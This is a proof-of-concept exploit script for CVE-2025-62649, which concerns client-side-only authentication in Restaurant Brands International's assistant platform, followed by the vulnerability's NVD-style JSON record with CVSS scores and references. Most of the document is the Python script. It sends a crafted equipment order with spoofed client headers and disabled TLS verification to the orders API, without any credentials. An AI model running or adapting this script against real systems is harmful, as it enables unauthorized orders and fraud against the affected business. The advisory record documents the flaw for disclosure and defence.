CVE-2025-62649

/* * CVE-2025-62649 - RBI Assistant Platform Client-Side Authentication Bypass PoC * * This PoC demonstrates how an attacker can bypass client-side authentication * to submit unauthorized equipment orders to the RBI Assistant Platform API. * * The vulnerability exists because the platform relies solely on client-side * authentication checks, while the server-side API endpoint lacks proper * authorization validation. */ import requests import json # Target API endpoint for equipment order submission TARGET_URL = "https://rbi-assistant.example.com/api/equipment/orders" # Crafted equipment order payload (bypassing client-side auth) payload = { "restaurant_id": "BK-12345", "equipment_type": "drive-thru_display", "quantity": 10, "shipping_address": "123 Attacker Street", "priority": "urgent", "notes": "Unauthorized order submitted via CVE-2025-62649" } # Headers mimicking legitimate client request headers = { "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (compatible; RBI-Assistant/1.0)", "X-Client-Version": "2025.09.06", "Origin": "https://rbi-assistant.example.com", "Referer": "https://rbi-assistant.example.com/orders/new" } def exploit_cve_2025_62649(): """ Exploit the client-side authentication bypass vulnerability. The server-side endpoint does not validate user authorization, allowing unauthorized equipment order submission. """ try: # Send POST request directly to the API endpoint # No authentication token or session cookie is needed response = requests.post( TARGET_URL, headers=headers, data=json.dumps(payload), verify=False ) if response.status_code == 200 or response.status_code == 201: print(f"[+] Order submitted successfully!") print(f"[+] Response: {response.text}") return True else: print(f"[-] Unexpected status code: {response.status_code}") print(f"[-] Response: {response.text}") return False except Exception as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": print("[*] CVE-2025-62649 PoC - RBI Assistant Platform Auth Bypass") print("[*] Attempting to submit unauthorized equipment order...") exploit_cve_2025_62649()

{"cve": {"id": "CVE-2025-62649", "sourceIdentifier": "[email protected]", "published": "2025-10-17T21:15:38.167", "lastModified": "2025-11-06T22:20:53.027", "vulnStatus": "Analyzed", "cveTags": [{"sourceIdentifier": "[email protected]", "tags": ["exclusively-hosted-service"]}], "descriptions": [{"lang": "en", "value": "The Restaurant Brands International (RBI) assistant platform through 2025-09-06 relies on client-side authentication for submission of equipment orders."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:L/A:N", "baseScore": 5.8, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-603"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:rbi:restaurant_brands_international_assistant:*:*:*:*:*:*:*:*", "versionEndIncluding": "2025-09-06", "matchCriteriaId": "706D04A1-2EDB-4713-BA47-EFDC8A86FBA3"}]}]}], "references": [{"url": "https://archive.today/fMYQp", "source": "[email protected]", "tags": ["Exploit", "Third Party Advisory"]}, {"url": "https://bobdahacker.com/blog/rbi-hacked-drive-thrus/", "source": "[email protected]", "tags": ["Permissions Required"]}, {"url": "https://web.archive.org/web/20250906134240/https:/bobdahacker.com/blog/rbi-hacked-drive-thrus", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://www.malwarebytes.com/blog/news/2025/09/popeyes-tim-hortons-burger-king-platforms-have-catastrophic-vulnerabilities-say-hackers", "source": "[email protected]", "tags": ["Press/Media Coverage", "Third Party Advisory"]}, {"url": "https://www.yahoo.com/news/articles/burger-king-hacked-attackers-impressed-124154038.html", "source": "[email protected]", "tags": ["Press/Media Coverage", "Third Party Advisory"]}]}}